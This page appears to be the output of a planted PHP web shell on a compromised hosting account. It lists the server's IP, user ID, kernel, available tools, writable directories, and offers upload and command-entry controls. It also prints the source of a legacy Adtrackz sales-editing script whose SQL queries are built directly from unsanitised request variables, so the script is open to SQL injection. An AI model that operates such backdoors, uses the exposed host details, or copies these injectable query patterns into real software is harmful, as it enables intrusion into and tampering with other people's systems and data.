403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/18/d194259149/htdocs/adtrackz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/18/d194259149/htdocs/adtrackz/dstats-sales-modify.php
<?
#####################################################
#  COPYRIGHT NOTICE
#####################################################
# In the following statements, the term "this 
# program" refers to all files associated with the
# execution and distribution of Adtrackz.
#
# This Program is Copyright 2004 Jonah Klimack.
# All Rights Reserved. 
#
# Selling the code for this program, modifying 
# and/or redistributing the code for this program
# in part or in whole over the Internet or in any 
# other medium is expressly forbidden. Violators
# will be prosecuted to the fullest extent of the law
# Copyright and header information may not be
# modified.
#
# This program is distributed "as is" and without 
# warranty of any kind, either express or implied.
# In no event shall the liability of Jonah Klimack 
# for any damages, losses and/or causes of 
# action exceed the total amount paid by the 
# user for this software.		
#####################################################
# DO NOT MODIFY ANYTHING IN THIS FILE
#####################################################


require "header.php";
require "submenu.php";

$campaign = mysql_fetch_row(mysql_query("select * from adtrackz_campaigns where ID='$cID'"));

?>


<table width="100%">
<tr>
	<td>
		<p class="small" align="left">Campaigns > <?=$campaign[2]?> > Modify Sales </p>
	</td>
	<td>
		<?load_submenu($cID,$campaign[2])?>
	</td>
</tr>
</table>

<p class="heading">
Sales for <?=ucfirst($campaign[2])?>
</p>

<p>
View sales generated for this campaign, as well as edit or add sales.
</p>

<?

if($submit_action == "Delete Selected")
{
	if (!$checked_sale)
		alert("no sales were selected");
	for ($i=0;$i<count($checked_sale);$i++)
		mysql_query("delete from adtrackz_sales where ID='$checked_sale[$i]'");
	echo mysql_error();
	alert("The selected sales have been deleted.");	
}
elseif ($submit_action == "Save Changes")
{
	echo "modify";
	for ($i=0;$i<count($ID);$i++) //update all values on screen
	{
		mysql_query("update adtrackz_sales set subID='$sID[$i]', revenue='$revenue[$i]', inputID='$userID[$i]', name='$name[$i]', description='$description[$i]' where ID='$ID[$i]'");
	}

	alert("Sales have been modified.");
}


//break it down into pages
if($from && !preg_match("/\b\d+\b/",$from))
{
	error("Starting from sale # must be an integer value.");
	$from = 0;
}
elseif (!$from)
	$from = 0;
else
	$from -= 1;
if($display_limit && !preg_match("/\b\d+\b/",$display_limit))
{
	error("Number of rows must be an integer value.");	
	$display_limit = 20;
}
if (!$display_limit)
	$display_limit = 20;

$sales = mysql_query("select * from adtrackz_sales where campaignID='$cID' order by timest limit $from, $display_limit");
$from += 1;
?>

<form action="dstats-sales-modify.php" method="post">
<input type="hidden" name=cID value=<?=$cID?>>
<center>
<table width=90%>
<tr>
	<td>
		<input type="submit" name="submit_display" value="Show:"  >
		<input type="text" name=display_limit  size=3 maxlength=3 value=<?=$display_limit?>> rows 
		starting from sale #<input type="text" name=from  size=3 maxlength=10 value=<?=$from?>>
	</td>
	<td align="right">
		<a href="dstats-sales-add.php?cID=<?=$cID?>">Add More Sales...</a><br>
		<a href="dstats-sales.php?cID=<?=$cID?>">View Sales...</a>
	</td>
</tr>
</table>
<table width=90%>
<tr>
	<td>
	<?
	$total_sales = mysql_num_rows(mysql_query("select * from adtrackz_sales where campaignID='$cID'"));
	//break it down into pages
	$pages = $total_sales / $display_limit;
	$remainder = $total_sales % $display_limit;
	for($i=1;$i<=$pages;$i++)
	{
		if ($i == 1)
		{
			$page_start = $i;
			$page_end = $i*$display_limit;	
			echo "<a href=dstats-sales-modify.php?from=$page_start&display_limit=$display_limit&cID=$cID>$page_start - $page_end</a> | ";	
		}
		elseif ($i < $pages)
		{
			$page_start = (($i*$display_limit) - $display_limit) + 1;
			$page_end = $i*$display_limit;	
			echo "<a href=dstats-sales-modify.php?from=$page_start&display_limit=$display_limit&cID=$cID>$page_start - $page_end</a> | ";	
		}
		elseif ($i == $pages && !$remainder)
		{
			$page_start = (($i*$display_limit) - $display_limit) + 1;
			$page_end = $i*$display_limit;	
			echo "<a href=dstats-sales-modify.php?from=$page_start&display_limit=$display_limit&cID=$cID>$page_start - $page_end</a>";	
		}
	}
	if($remainder)
	{
		$page_start = $page_end + 1;
		$page_end = $page_end + $remainder;
		echo "<a href=dstats-sales-modify.php?from=$page_start&display_limit=$display_limit&cID=$cID>$page_start - $page_end</a>";		
	}
	?>		
	</td>
</tr>
</table>
	<br><br>

<table width="580" border="1" cellspacing="0" cellpadding="5" align="center" bordercolor="#e0e0e0">
<tr>
	<td class="tbhead1">Number</td>
	<td class="tbhead1">ID</td>
	<td class="tbhead1">Date</td>
	<td class="tbhead1">Subcampaign</td>
	<td class="tbhead1">Revenue</td>
	<td class="tbhead1">Name</td>
	<td class="tbhead1">Description</td>
	<td class="tbhead1">Action</td>
</tr>
<?
if (!mysql_num_rows($sales))
	echo "<tr><td colspan=8>There are no sales to display.</td></tr></table>";
else
{
	//get all the subcampaigns to display in a pulldown list
	//do it up here first so we only query the database once (build array)
	$allsubdata = mysql_query("select * from adtrackz_subcampaigns where campaignID='$cID' order by adcode asc");	
	while ($tempsub = mysql_fetch_row($allsubdata))
		$allsubs[$tempsub[0]] = $tempsub[2];

	for($i=0;$i<mysql_num_rows($sales);$i++)
	{
		$sale = mysql_fetch_row($sales);
		$timest = date("D M j G:i:s T Y", $action[3]);
		$subadcodedata = mysql_fetch_row(mysql_query("select adcode from adtrackz_subcampaigns where ID='$sale[2]'"));
		$sale_subadcode = $subadcodedata[0];
		$rev = number_format($sale[4],2);
print <<<END
<tr>
	<td class="tb1"><input type=hidden name=ID[] value=$sale[0]>$sale[0]</td>
	<td class="tb1"><input type=input name=userID[] size=4 value="$sale[5]"></td>
	<td class="tb1">$sale[3]<input type=hidden name=date value="filled"></td>
	<td class="tb1">
	<select name="sID[]">
END;
		//selected for the sub for this action
		if (!$sale_subadcode)
			echo "<option value=\"\" selected>None</option>";
		else
			echo "<option value=\"\">None</option>";	
		foreach ($allsubs as $subID => $subadcode)
		{
			if ($sale_subadcode == $subadcode)
				echo "<option value=\"$subID\" selected>$subadcode</option>";
			else
				echo "<option value=\"$subID\">$subadcode</option>";
		}
print <<<END
	</select></td>
	<td class="tb1"><input type=input name=revenue[] size=4 value="$rev"></td>
	<td class="tb1"><input type=input name=name[] size=8 value="$sale[6]"></td>
	<td class="tb1"><input type=input name=description[] value="$sale[7]"></td>
	<td class="tb1"><input type=checkbox name=checked_sale[] value="$sale[0]"></td>
</tr>
END;
	}
}
?>


</table>
<br><br>
<input type=submit name=submit_action value="Save Changes">
&nbsp;&nbsp;
<input type=submit name=submit_action value="Delete Selected">
</center>
</form>
<br>



<?
require "footer.php";

?>

Youez - 2016 - github.com/yon3zu
LinuXploit